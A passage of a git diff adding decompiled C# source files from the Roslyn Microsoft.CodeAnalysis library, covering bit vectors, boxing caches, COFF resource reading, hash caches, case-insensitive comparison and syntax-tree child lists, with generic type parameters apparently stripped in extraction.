+ int num = WordsForCapacity(capacity); + ulong[] bits = ((num == 0) ? s_emptyArray : new ulong[num]); + return new BitVector(0uL, bits, capacity); + } + + public static BitVector AllSet(int capacity) + { + if (capacity == 0) + { + return Empty; + } + int num = WordsForCapacity(capacity); + ulong[] array = ((num == 0) ? s_emptyArray : new ulong[num]); + int num2 = num - 1; + ulong bits = ulong.MaxValue; + for (int i = 0; i < num2; i++) + { + array[i] = ulong.MaxValue; + } + int num3 = capacity & 0x3F; + if (num3 > 0) + { + ulong num4 = (ulong)(~(-1L << num3)); + if (num2 < 0) + { + bits = num4; + } + else + { + array[num2] = num4; + } + } + else if (num > 0) + { + array[num2] = ulong.MaxValue; + } + return new BitVector(bits, array, capacity); + } + + public BitVector Clone() + { + return new BitVector(bits: (_bits != null && _bits.Length != 0) ? ((ulong[])_bits.Clone()) : s_emptyArray, bits0: _bits0, capacity: _capacity); + } + + public void Invert() + { + _bits0 = ~_bits0; + if (_bits != null) + { + for (int i = 0; i < _bits.Length; i++) + { + _bits[i] = ~_bits[i]; + } + } + } + + public bool IntersectWith(in BitVector other) + { + bool result = false; + int num = other._bits.Length; + ulong[] bits = _bits; + int num2 = bits.Length; + if (num > num2) + { + num = num2; + } + ulong bits2 = _bits0; + ulong num3 = bits2 & other._bits0; + if (num3 != bits2) + { + _bits0 = num3; + result = true; + } + for (int i = 0; i < num; i++) + { + ulong num4 = bits[i]; + ulong num5 = num4 & other._bits[i]; + if (num5 != num4) + { + bits[i] = num5; + result = true; + } + } + for (int j = num; j < num2; j++) + { + if (bits[j] != 0L) + { + bits[j] = 0uL; + result = true; + } + } + return result; + } + + public bool UnionWith(in BitVector other) + { + bool result = false; + if (other._capacity > _capacity) + { + EnsureCapacity(other._capacity); + } + ulong bits = _bits0; + _bits0 |= other._bits0; + if (bits != _bits0) + { + result = true; + } + for (int i = 0; i < other._bits.Length; i++) + { + bits = _bits[i]; + _bits[i] |= other._bits[i]; + if (_bits[i] != bits) + { + result = true; + } + } + return result; + } + + public void Clear() + { + _bits0 = 0uL; + if (_bits != null) + { + Array.Clear(_bits, 0, _bits.Length); + } + } + + public static bool IsTrue(ulong word, int index) + { + int num = index & 0x3F; + ulong num2 = (ulong)(1L << num); + return (word & num2) != 0; + } + + public static int WordsRequired(int capacity) + { + if (capacity <= 0) + { + return 0; + } + return WordsForCapacity(capacity) + 1; + } + + internal string GetDebuggerDisplay() + { + char[] array = new char[_capacity]; + for (int i = 0; i < _capacity; i++) + { + array[_capacity - i - 1] = (this[i] ? '1' : '0'); + } + return new string(array); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Boxes.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Boxes.cs new file mode 100644 index 0000000..0fbb3c0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Boxes.cs @@ -0,0 +1,155 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +internal static class Boxes +{ + public static readonly object BoxedTrue = true; + + public static readonly object BoxedFalse = false; + + public static readonly object BoxedByteZero = (byte)0; + + public static readonly object BoxedSByteZero = (sbyte)0; + + public static readonly object BoxedInt16Zero = (short)0; + + public static readonly object BoxedUInt16Zero = (ushort)0; + + public static readonly object BoxedInt32Zero = 0; + + public static readonly object BoxedInt32One = 1; + + public static readonly object BoxedUInt32Zero = 0u; + + public static readonly object BoxedInt64Zero = 0L; + + public static readonly object BoxedUInt64Zero = 0uL; + + public static readonly object BoxedSingleZero = 0f; + + public static readonly object BoxedDoubleZero = 0.0; + + public static readonly object BoxedDecimalZero = 0m; + + private static readonly object?[] s_boxedAsciiChars = new object[128]; + + public static object Box(bool b) + { + if (!b) + { + return BoxedFalse; + } + return BoxedTrue; + } + + public static object Box(byte b) + { + if (b != 0) + { + return b; + } + return BoxedByteZero; + } + + public static object Box(sbyte sb) + { + if (sb != 0) + { + return sb; + } + return BoxedSByteZero; + } + + public static object Box(short s) + { + if (s != 0) + { + return s; + } + return BoxedInt16Zero; + } + + public static object Box(ushort us) + { + if (us != 0) + { + return us; + } + return BoxedUInt16Zero; + } + + public static object Box(int i) + { + return i switch + { + 0 => BoxedInt32Zero, + 1 => BoxedInt32One, + _ => i, + }; + } + + public static object Box(uint u) + { + if (u != 0) + { + return u; + } + return BoxedUInt32Zero; + } + + public static object Box(long l) + { + if (l != 0L) + { + return l; + } + return BoxedInt64Zero; + } + + public static object Box(ulong ul) + { + if (ul != 0L) + { + return ul; + } + return BoxedUInt64Zero; + } + + public unsafe static object Box(float f) + { + if (*(int*)(&f) != 0) + { + return f; + } + return BoxedSingleZero; + } + + public static object Box(double d) + { + if (BitConverter.DoubleToInt64Bits(d) != 0L) + { + return d; + } + return BoxedDoubleZero; + } + + public static object Box(char c) + { + if (c >= '\u0080') + { + return c; + } + return s_boxedAsciiChars[(uint)c] ?? (s_boxedAsciiChars[(uint)c] = c); + } + + public unsafe static object Box(decimal d) + { + ulong* ptr = (ulong*)(&d); + if (*ptr != 0L || ptr[1] != 0L) + { + return d; + } + return BoxedDecimalZero; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/BuildPaths.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/BuildPaths.cs new file mode 100644 index 0000000..6b75268 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/BuildPaths.cs @@ -0,0 +1,20 @@ +namespace Microsoft.CodeAnalysis; + +internal readonly struct BuildPaths +{ + internal string ClientDirectory { get; } + + internal string WorkingDirectory { get; } + + internal string? SdkDirectory { get; } + + internal string? TempDirectory { get; } + + internal BuildPaths(string clientDir, string workingDir, string? sdkDir, string? tempDir) + { + ClientDirectory = clientDir; + WorkingDirectory = workingDir; + SdkDirectory = sdkDir; + TempDirectory = tempDir; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/COFFResourceReader.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/COFFResourceReader.cs new file mode 100644 index 0000000..3606d58 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/COFFResourceReader.cs @@ -0,0 +1,117 @@ +using System; +using System.Collections.Immutable; +using System.IO; +using System.Reflection.PortableExecutable; +using System.Text; +using Microsoft.Cci; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal static class COFFResourceReader +{ + private static void ConfirmSectionValues(SectionHeader hdr, long fileSize) + { + if ((long)hdr.PointerToRawData + (long)hdr.SizeOfRawData > fileSize) + { + throw new ResourceException(CodeAnalysisResources.CoffResourceInvalidSectionSize); + } + } + + internal static ResourceSection ReadWin32ResourcesFromCOFF(Stream stream) + { + PEHeaders pEHeaders = new PEHeaders(stream); + SectionHeader hdr = default(SectionHeader); + SectionHeader hdr2 = default(SectionHeader); + int num = 0; + ImmutableArray.Enumerator enumerator = pEHeaders.SectionHeaders.GetEnumerator(); + while (enumerator.MoveNext()) + { + SectionHeader current = enumerator.Current; + if (current.Name == ".rsrc$01") + { + hdr = current; + num++; + } + else if (current.Name == ".rsrc$02") + { + hdr2 = current; + num++; + } + } + if (num != 2) + { + throw new ResourceException(CodeAnalysisResources.CoffResourceMissingSection); + } + ConfirmSectionValues(hdr, stream.Length); + ConfirmSectionValues(hdr2, stream.Length); + byte[] array; + uint[] array2; + uint[] array3; + BinaryReader binaryReader; + MemoryStream memoryStream; + BinaryWriter binaryWriter; + checked + { + array = new byte[hdr.SizeOfRawData + hdr2.SizeOfRawData]; + stream.Seek(hdr.PointerToRawData, SeekOrigin.Begin); + stream.TryReadAll(array, 0, hdr.SizeOfRawData); + stream.Seek(hdr2.PointerToRawData, SeekOrigin.Begin); + stream.TryReadAll(array, hdr.SizeOfRawData, hdr2.SizeOfRawData); + try + { + if (hdr.PointerToRelocations + hdr.NumberOfRelocations * 10 > stream.Length) + { + throw new ResourceException(CodeAnalysisResources.CoffResourceInvalidRelocation); + } + } + catch (OverflowException) + { + throw new ResourceException(CodeAnalysisResources.CoffResourceInvalidRelocation); + } + array2 = new uint[hdr.NumberOfRelocations]; + array3 = new uint[hdr.NumberOfRelocations]; + binaryReader = new BinaryReader(stream, Encoding.Unicode); + stream.Position = hdr.PointerToRelocations; + for (int i = 0; i < hdr.NumberOfRelocations; i = unchecked(i + 1)) + { + array2[i] = binaryReader.ReadUInt32(); + array3[i] = binaryReader.ReadUInt32(); + binaryReader.ReadUInt16(); + } + stream.Position = pEHeaders.CoffHeader.PointerToSymbolTable; + try + { + if (pEHeaders.CoffHeader.PointerToSymbolTable + unchecked((long)pEHeaders.CoffHeader.NumberOfSymbols) * 18L > stream.Length) + { + throw new ResourceException(CodeAnalysisResources.CoffResourceInvalidSymbol); + } + } + catch (OverflowException) + { + throw new ResourceException(CodeAnalysisResources.CoffResourceInvalidSymbol); + } + memoryStream = new MemoryStream(array); + binaryWriter = new BinaryWriter(memoryStream); + } + for (int j = 0; j < array3.Length; j++) + { + if (array3[j] > pEHeaders.CoffHeader.NumberOfSymbols) + { + throw new ResourceException(CodeAnalysisResources.CoffResourceInvalidRelocation); + } + long position = pEHeaders.CoffHeader.PointerToSymbolTable + array3[j] * 18; + stream.Position = position; + stream.Position += 8L; + uint num2 = binaryReader.ReadUInt32(); + short num3 = binaryReader.ReadInt16(); + if (binaryReader.ReadUInt16() != 0 || num3 != 3) + { + throw new ResourceException(CodeAnalysisResources.CoffResourceInvalidSymbol); + } + memoryStream.Position = array2[j]; + binaryWriter.Write((uint)(num2 + hdr.SizeOfRawData)); + } + return new ResourceSection(array, array2); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CachedUseSiteInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CachedUseSiteInfo.cs new file mode 100644 index 0000000..299b6c9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CachedUseSiteInfo.cs @@ -0,0 +1,134 @@ +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis; + +internal struct CachedUseSiteInfo where TAssemblySymbol : class, IAssemblySymbolInternal +{ + private class Boxed + { + public readonly DiagnosticInfo DiagnosticInfo; + + public readonly ImmutableHashSet Dependencies; + + public Boxed(DiagnosticInfo diagnosticInfo, ImmutableHashSet dependencies) + { + DiagnosticInfo = diagnosticInfo; + Dependencies = dependencies; + } + } + + private object? _info; + + private static readonly object Sentinel = new object(); + + public static readonly CachedUseSiteInfo Uninitialized = new CachedUseSiteInfo(Sentinel); + + public bool IsInitialized => _info != Sentinel; + + private CachedUseSiteInfo(object info) + { + _info = info; + } + + public void Initialize(DiagnosticInfo? diagnosticInfo) + { + Initialize(diagnosticInfo, ImmutableHashSet.Empty); + } + + public void Initialize(TAssemblySymbol? primaryDependency, UseSiteInfo useSiteInfo) + { + Initialize(useSiteInfo.DiagnosticInfo, GetDependenciesToCache(primaryDependency, useSiteInfo)); + } + + private static ImmutableHashSet GetDependenciesToCache(TAssemblySymbol? primaryDependency, UseSiteInfo useSiteInfo) + { + ImmutableHashSet immutableHashSet = useSiteInfo.SecondaryDependencies ?? ImmutableHashSet.Empty; + if (useSiteInfo.PrimaryDependency != null) + { + return immutableHashSet.Remove(useSiteInfo.PrimaryDependency); + } + return immutableHashSet; + } + + public UseSiteInfo ToUseSiteInfo(TAssemblySymbol primaryDependency) + { + Expand(_info, out DiagnosticInfo diagnosticInfo, out ImmutableHashSet dependencies); + if (diagnosticInfo != null && diagnosticInfo.Severity == DiagnosticSeverity.Error) + { + return new UseSiteInfo(diagnosticInfo); + } + return new UseSiteInfo(diagnosticInfo, primaryDependency, dependencies); + } + + private void Initialize(DiagnosticInfo? diagnosticInfo, ImmutableHashSet dependencies) + { + _info = Compact(diagnosticInfo, dependencies); + } + + private static object? Compact(DiagnosticInfo? diagnosticInfo, ImmutableHashSet dependencies) + { + if (dependencies.IsEmpty) + { + return diagnosticInfo; + } + if (diagnosticInfo == null) + { + return dependencies; + } + return new Boxed(diagnosticInfo, dependencies); + } + + public void InterlockedCompareExchange(TAssemblySymbol? primaryDependency, UseSiteInfo value) + { + if (_info == Sentinel) + { + object value2 = Compact(value.DiagnosticInfo, GetDependenciesToCache(primaryDependency, value)); + Interlocked.CompareExchange(ref _info, value2, Sentinel); + } + } + + public UseSiteInfo InterlockedInitialize(TAssemblySymbol? primaryDependency, UseSiteInfo value) + { + object value2 = Compact(value.DiagnosticInfo, GetDependenciesToCache(primaryDependency, value)); + value2 = Interlocked.CompareExchange(ref _info, value2, null); + if (value2 == null) + { + return value; + } + Expand(value2, out DiagnosticInfo diagnosticInfo, out ImmutableHashSet dependencies); + return new UseSiteInfo(diagnosticInfo, value.PrimaryDependency, dependencies); + } + + private static void Expand(object? info, out DiagnosticInfo? diagnosticInfo, out ImmutableHashSet? dependencies) + { + if (info != null) + { + if (!(info is DiagnosticInfo diagnosticInfo2)) + { + if (info is ImmutableHashSet immutableHashSet) + { + diagnosticInfo = null; + dependencies = immutableHashSet; + } + else + { + Boxed boxed = (Boxed)info; + diagnosticInfo = boxed.DiagnosticInfo; + dependencies = boxed.Dependencies; + } + } + else + { + diagnosticInfo = diagnosticInfo2; + dependencies = null; + } + } + else + { + diagnosticInfo = null; + dependencies = null; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CachingBase.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CachingBase.cs new file mode 100644 index 0000000..2237588 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CachingBase.cs @@ -0,0 +1,26 @@ +namespace Microsoft.CodeAnalysis; + +internal abstract class CachingBase +{ + protected readonly int mask; + + protected readonly TEntry[] entries; + + internal CachingBase(int size) + { + int num = AlignSize(size); + mask = num - 1; + entries = new TEntry[num]; + } + + private static int AlignSize(int size) + { + size--; + size |= size >> 1; + size |= size >> 2; + size |= size >> 4; + size |= size >> 8; + size |= size >> 16; + return size + 1; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CachingFactory.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CachingFactory.cs new file mode 100644 index 0000000..1476b08 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CachingFactory.cs @@ -0,0 +1,81 @@ +using System; +using System.Diagnostics.CodeAnalysis; + +namespace Microsoft.CodeAnalysis; + +internal class CachingFactory : CachingBase.Entry> where TKey : notnull +{ + internal struct Entry + { + internal int hash; + + internal TValue value; + } + + private readonly int _size; + + private readonly Func _valueFactory; + + private readonly Func _keyHash; + + private readonly Func _keyValueEquality; + + public CachingFactory(int size, Func valueFactory, Func keyHash, Func keyValueEquality) + : base(size) + { + _size = size; + _valueFactory = valueFactory; + _keyHash = keyHash; + _keyValueEquality = keyValueEquality; + } + + public void Add(TKey key, TValue value) + { + int keyHash = GetKeyHash(key); + int num = keyHash & mask; + entries[num].hash = keyHash; + entries[num].value = value; + } + + public bool TryGetValue(TKey key, [MaybeNullWhen(false)] out TValue value) + { + int keyHash = GetKeyHash(key); + int num = keyHash & mask; + Entry[] array = entries; + if (array[num].hash == keyHash) + { + TValue value2 = array[num].value; + if (_keyValueEquality(key, value2)) + { + value = value2; + return true; + } + } + value = default(TValue); + return false; + } + + public TValue GetOrMakeValue(TKey key) + { + int keyHash = GetKeyHash(key); + int num = keyHash & mask; + Entry[] array = entries; + if (array[num].hash == keyHash) + { + TValue value = array[num].value; + if (_keyValueEquality(key, value)) + { + return value; + } + } + TValue val = _valueFactory(key); + array[num].hash = keyHash; + array[num].value = val; + return val; + } + + private int GetKeyHash(TKey key) + { + return _keyHash(key) | _size; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CachingIdentityFactory.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CachingIdentityFactory.cs new file mode 100644 index 0000000..a1e0571 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CachingIdentityFactory.cs @@ -0,0 +1,76 @@ +using System; +using System.Diagnostics.CodeAnalysis; +using System.Runtime.CompilerServices; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis; + +internal class CachingIdentityFactory : CachingBase.Entry> where TKey : class +{ + internal struct Entry + { + internal TKey key; + + internal TValue value; + } + + private readonly Func _valueFactory; + + private readonly ObjectPool>? _pool; + + public CachingIdentityFactory(int size, Func valueFactory) + : base(size) + { + _valueFactory = valueFactory; + } + + public CachingIdentityFactory(int size, Func valueFactory, ObjectPool> pool) + : this(size, valueFactory) + { + _pool = pool; + } + + public void Add(TKey key, TValue value) + { + int num = RuntimeHelpers.GetHashCode(key) & mask; + entries[num].key = key; + entries[num].value = value; + } + + public bool TryGetValue(TKey key, [MaybeNullWhen(false)] out TValue value) + { + int num = RuntimeHelpers.GetHashCode(key) & mask; + Entry[] array = entries; + if (array[num].key == key) + { + value = array[num].value; + return true; + } + value = default(TValue); + return false; + } + + public TValue GetOrMakeValue(TKey key) + { + int num = RuntimeHelpers.GetHashCode(key) & mask; + Entry[] array = entries; + if (array[num].key == key) + { + return array[num].value; + } + TValue val = _valueFactory(key); + array[num].key = key; + array[num].value = val; + return val; + } + + public static ObjectPool> CreatePool(int size, Func valueFactory) + { + return new ObjectPool>((ObjectPool> pool) => new CachingIdentityFactory(size, valueFactory, pool), Environment.ProcessorCount * 2); + } + + public void Free() + { + _pool?.Free(this); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CandidateReason.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CandidateReason.cs new file mode 100644 index 0000000..8fa8564 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CandidateReason.cs @@ -0,0 +1,22 @@ +namespace Microsoft.CodeAnalysis; + +public enum CandidateReason +{ + None, + NotATypeOrNamespace, + NotAnEvent, + NotAWithEventsMember, + NotAnAttributeType, + WrongArity, + NotCreatable, + NotReferencable, + Inaccessible, + NotAValue, + NotAVariable, + NotInvocable, + StaticInstanceMismatch, + OverloadResolutionFailure, + LateBound, + Ambiguous, + MemberGroup +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CaseInsensitiveComparison.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CaseInsensitiveComparison.cs new file mode 100644 index 0000000..3d1a501 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CaseInsensitiveComparison.cs @@ -0,0 +1,278 @@ +using System; +using System.Diagnostics.CodeAnalysis; +using System.Globalization; +using System.Text; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public static class CaseInsensitiveComparison +{ + private sealed class OneToOneUnicodeComparer : StringComparer + { + private static int CompareLowerUnicode(char c1, char c2) + { + if (c1 != c2) + { + return ToLower(c1) - ToLower(c2); + } + return 0; + } + + public override int Compare(string? str1, string? str2) + { + if ((object)str1 == str2) + { + return 0; + } + if (str1 == null) + { + return -1; + } + if (str2 == null) + { + return 1; + } + int num = Math.Min(str1.Length, str2.Length); + for (int i = 0; i < num; i++) + { + int num2 = CompareLowerUnicode(str1[i], str2[i]); + if (num2 != 0) + { + return num2; + } + } + return str1.Length - str2.Length; + } + + public int Compare(ReadOnlySpan str1, ReadOnlySpan str2) + { + int num = Math.Min(str1.Length, str2.Length); + for (int i = 0; i < num; i++) + { + int num2 = CompareLowerUnicode(str1[i], str2[i]); + if (num2 != 0) + { + return num2; + } + } + return str1.Length - str2.Length; + } + + private static bool AreEqualLowerUnicode(char c1, char c2) + { + if (c1 != c2) + { + return ToLower(c1) == ToLower(c2); + } + return true; + } + + public override bool Equals(string? str1, string? str2) + { + if ((object)str1 == str2) + { + return true; + } + if (str1 == null || str2 == null) + { + return false; + } + if (str1.Length != str2.Length) + { + return false; + } + for (int i = 0; i < str1.Length; i++) + { + if (!AreEqualLowerUnicode(str1[i], str2[i])) + { + return false; + } + } + return true; + } + + public bool Equals(ReadOnlySpan str1, ReadOnlySpan str2) + { + if (str1.Length != str2.Length) + { + return false; + } + for (int i = 0; i < str1.Length; i++) + { + if (!AreEqualLowerUnicode(str1[i], str2[i])) + { + return false; + } + } + return true; + } + + public static bool EndsWith(string value, string possibleEnd) + { + if ((object)value == possibleEnd) + { + return true; + } + if (value == null || possibleEnd == null) + { + return false; + } + int num = value.Length - 1; + int num2 = possibleEnd.Length - 1; + if (num < num2) + { + return false; + } + while (num2 >= 0) + { + if (!AreEqualLowerUnicode(value[num], possibleEnd[num2])) + { + return false; + } + num--; + num2--; + } + return true; + } + + public static bool StartsWith(string value, string possibleStart) + { + if ((object)value == possibleStart) + { + return true; + } + if (value == null || possibleStart == null) + { + return false; + } + if (value.Length < possibleStart.Length) + { + return false; + } + for (int i = 0; i < possibleStart.Length; i++) + { + if (!AreEqualLowerUnicode(value[i], possibleStart[i])) + { + return false; + } + } + return true; + } + + public override int GetHashCode(string str) + { + int num = -2128831035; + for (int i = 0; i < str.Length; i++) + { + num = Hash.CombineFNVHash(num, ToLower(str[i])); + } + return num; + } + } + + private static readonly TextInfo s_unicodeCultureTextInfo = GetUnicodeCulture().TextInfo; + + private static readonly OneToOneUnicodeComparer s_comparer = new OneToOneUnicodeComparer(); + + public static StringComparer Comparer => s_comparer; + + private static CultureInfo GetUnicodeCulture() + { + try + { + return new CultureInfo("en"); + } + catch (ArgumentException) + { + return CultureInfo.InvariantCulture; + } + } + + public static char ToLower(char c) + { + if ((uint)(c - 65) <= 25u) + { + return (char)(c | 0x20); + } + if (c < 'À') + { + return c; + } + return ToLowerNonAscii(c); + } + + private static char ToLowerNonAscii(char c) + { + if (c == 'İ') + { + return 'i'; + } + return s_unicodeCultureTextInfo.ToLower(c); + } + + public static bool Equals(string left, string right) + { + return ((StringComparer)s_comparer).Equals(left, right); + } + + public static bool Equals(ReadOnlySpan left, ReadOnlySpan right) + { + return s_comparer.Equals(left, right); + } + + public static bool EndsWith(string value, string possibleEnd) + { + return OneToOneUnicodeComparer.EndsWith(value, possibleEnd); + } + + public static bool StartsWith(string value, string possibleStart) + { + return OneToOneUnicodeComparer.StartsWith(value, possibleStart); + } + + public static int Compare(string left, string right) + { + return ((StringComparer)s_comparer).Compare(left, right); + } + + public static int Compare(ReadOnlySpan left, ReadOnlySpan right) + { + return s_comparer.Compare(left, right); + } + + public static int GetHashCode(string value) + { + return s_comparer.GetHashCode(value); + } + + [return: NotNullIfNotNull("value")] + public static string? ToLower(string? value) + { + if (value == null) + { + return null; + } + if (value.Length == 0) + { + return value; + } + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + builder.Append(value); + ToLower(builder); + return instance.ToStringAndFree(); + } + + public static void ToLower(StringBuilder builder) + { + if (builder != null) + { + for (int i = 0; i < builder.Length; i++) + { + builder[i] = ToLower(builder[i]); + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ChildSyntaxList.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ChildSyntaxList.cs new file mode 100644 index 0000000..3adc199 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ChildSyntaxList.cs @@ -0,0 +1,486 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public readonly struct ChildSyntaxList : IEquatable, IReadOnlyList, IEnumerable, IEnumerable, IReadOnlyCollection +{ + public struct Enumerator + { + private SyntaxNode? _node; + + private int _count; + + private int _childIndex; + + public SyntaxNodeOrToken Current => ItemInternal(_node, _childIndex); + + internal Enumerator(SyntaxNode node, int count) + { + _node = node; + _count = count; + _childIndex = -1; + } + + internal void InitializeFrom(SyntaxNode node) + { + _node = node; + _count = CountNodes(node.Green); + _childIndex = -1; + } + + [MemberNotNullWhen(true, "_node")] + public bool MoveNext() + { + int num = _childIndex + 1; + if (num < _count) + { + _childIndex = num; + return true; + } + return false; + } + + public void Reset() + { + _childIndex = -1; + } + + internal bool TryMoveNextAndGetCurrent(out SyntaxNodeOrToken current) + { + if (!MoveNext()) + { + current = default(SyntaxNodeOrToken); + return false; + } + current = ItemInternal(_node, _childIndex); + return true; + } + + internal SyntaxNode? TryMoveNextAndGetCurrentAsNode() + { + while (MoveNext()) + { + SyntaxNode syntaxNode = ItemInternalAsNode(_node, _childIndex); + if (syntaxNode != null) + { + return syntaxNode; + } + } + return null; + } + } + + private class EnumeratorImpl : IEnumerator, IEnumerator, IDisposable + { + private Enumerator _enumerator; + + public SyntaxNodeOrToken Current => _enumerator.Current; + + object IEnumerator.Current => _enumerator.Current; + + internal EnumeratorImpl(SyntaxNode node, int count) + { + _enumerator = new Enumerator(node, count); + } + + public bool MoveNext() + { + return _enumerator.MoveNext(); + } + + public void Reset() + { + _enumerator.Reset(); + } + + public void Dispose() + { + } + } + + public readonly struct Reversed : IEnumerable, IEnumerable, IEquatable + { + public struct Enumerator + { + private readonly SyntaxNode? _node; + + private readonly int _count; + + private int _childIndex; + + public SyntaxNodeOrToken Current => ItemInternal(_node, _childIndex); + + internal Enumerator(SyntaxNode node, int count) + { + _node = node; + _count = count; + _childIndex = count; + } + + [MemberNotNullWhen(true, "_node")] + public bool MoveNext() + { + return --_childIndex >= 0; + } + + public void Reset() + { + _childIndex = _count; + } + } + + private class EnumeratorImpl : IEnumerator, IEnumerator, IDisposable + { + private Enumerator _enumerator; + + public SyntaxNodeOrToken Current => _enumerator.Current; + + object IEnumerator.Current => _enumerator.Current; + + internal EnumeratorImpl(SyntaxNode node, int count) + { + _enumerator = new Enumerator(node, count); + } + + public bool MoveNext() + { + return _enumerator.MoveNext(); + } + + public void Reset() + { + _enumerator.Reset(); + } + + public void Dispose() + { + } + } + + private readonly SyntaxNode? _node; + + private readonly int _count; + + internal Reversed(SyntaxNode node, int count) + { + _node = node; + _count = count; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_node, _count); + } + + IEnumerator IEnumerable.GetEnumerator() + { + if (_node == null) + { + return SpecializedCollections.EmptyEnumerator(); + } + return new EnumeratorImpl(_node, _count); + } + + IEnumerator IEnumerable.GetEnumerator() + { + if (_node == null) + { + return SpecializedCollections.EmptyEnumerator(); + } + return new EnumeratorImpl(_node, _count); + } + + public override int GetHashCode() + { + if (_node == null) + { + return 0; + } + return Hash.Combine(_node.GetHashCode(), _count); + } + + public override bool Equals(object? obj) + { + if (obj is Reversed other) + { + return Equals(other); + } + return false; + } + + public bool Equals(Reversed other) + { + if (_node == other._node) + { + return _count == other._count; + } + return false; + } + } + + private readonly SyntaxNode? _node; + + private readonly int _count; + + public int Count => _count; + + public SyntaxNodeOrToken this[int index] + { + get + { + if ((uint)index < (uint)_count) + { + return ItemInternal(_node, index); + } + throw new ArgumentOutOfRangeException("index"); + } + } + + internal SyntaxNode? Node => _node; + + private SyntaxNodeOrToken[] Nodes => this.ToArray(); + + internal ChildSyntaxList(SyntaxNode node) + { + _node = node; + _count = CountNodes(node.Green); + } + + internal static int CountNodes(GreenNode green) + { + int num = 0; + int i = 0; + for (int slotCount = green.SlotCount; i < slotCount; i++) + { + GreenNode slot = green.GetSlot(i); + if (slot != null) + { + num = (slot.IsList ? (num + slot.SlotCount) : (num + 1)); + } + } + return num; + } + + private static int Occupancy(GreenNode green) + { + if (!green.IsList) + { + return 1; + } + return green.SlotCount; + } + + internal static SyntaxNodeOrToken ItemInternal(SyntaxNode node, int index) + { + GreenNode green = node.Green; + int num = index; + int num2 = 0; + int num3 = node.Position; + GreenNode slot; + while (true) + { + slot = green.GetSlot(num2); + if (slot != null) + { + int num4 = Occupancy(slot); + if (num < num4) + { + break; + } + num -= num4; + num3 += slot.FullWidth; + } + num2++; + } + SyntaxNode nodeSlot = node.GetNodeSlot(num2); + if (!slot.IsList) + { + if (nodeSlot != null) + { + return nodeSlot; + } + } + else if (nodeSlot != null) + { + SyntaxNode nodeSlot2 = nodeSlot.GetNodeSlot(num); + if (nodeSlot2 != null) + { + return nodeSlot2; + } + slot = slot.GetSlot(num); + num3 = nodeSlot.GetChildPosition(num); + } + else + { + num3 += slot.GetSlotOffset(num); + slot = slot.GetSlot(num); + } + return new SyntaxNodeOrToken(node, slot, num3, index); + } + + internal static SyntaxNodeOrToken ChildThatContainsPosition(SyntaxNode node, int targetPosition) + { + GreenNode green = node.Green; + int num = node.Position; + int num2 = 0; + int num3 = 0; + GreenNode slot; + while (true) + { + slot = green.GetSlot(num3); + if (slot != null) + { + int num4 = num + slot.FullWidth; + if (targetPosition < num4) + { + break; + } + num = num4; + num2 += Occupancy(slot); + } + num3++; + } + green = slot; + SyntaxNode nodeSlot = node.GetNodeSlot(num3); + if (!green.IsList) + { + if (nodeSlot != null) + { + return nodeSlot; + } + } + else + { + num3 = green.FindSlotIndexContainingOffset(targetPosition - num); + if (nodeSlot != null) + { + nodeSlot = nodeSlot.GetNodeSlot(num3); + if (nodeSlot != null) + { + return nodeSlot; + } + } + num += green.GetSlotOffset(num3); + green = green.GetSlot(num3); + num2 += num3; + } + return new SyntaxNodeOrToken(node, green, num, num2); + } 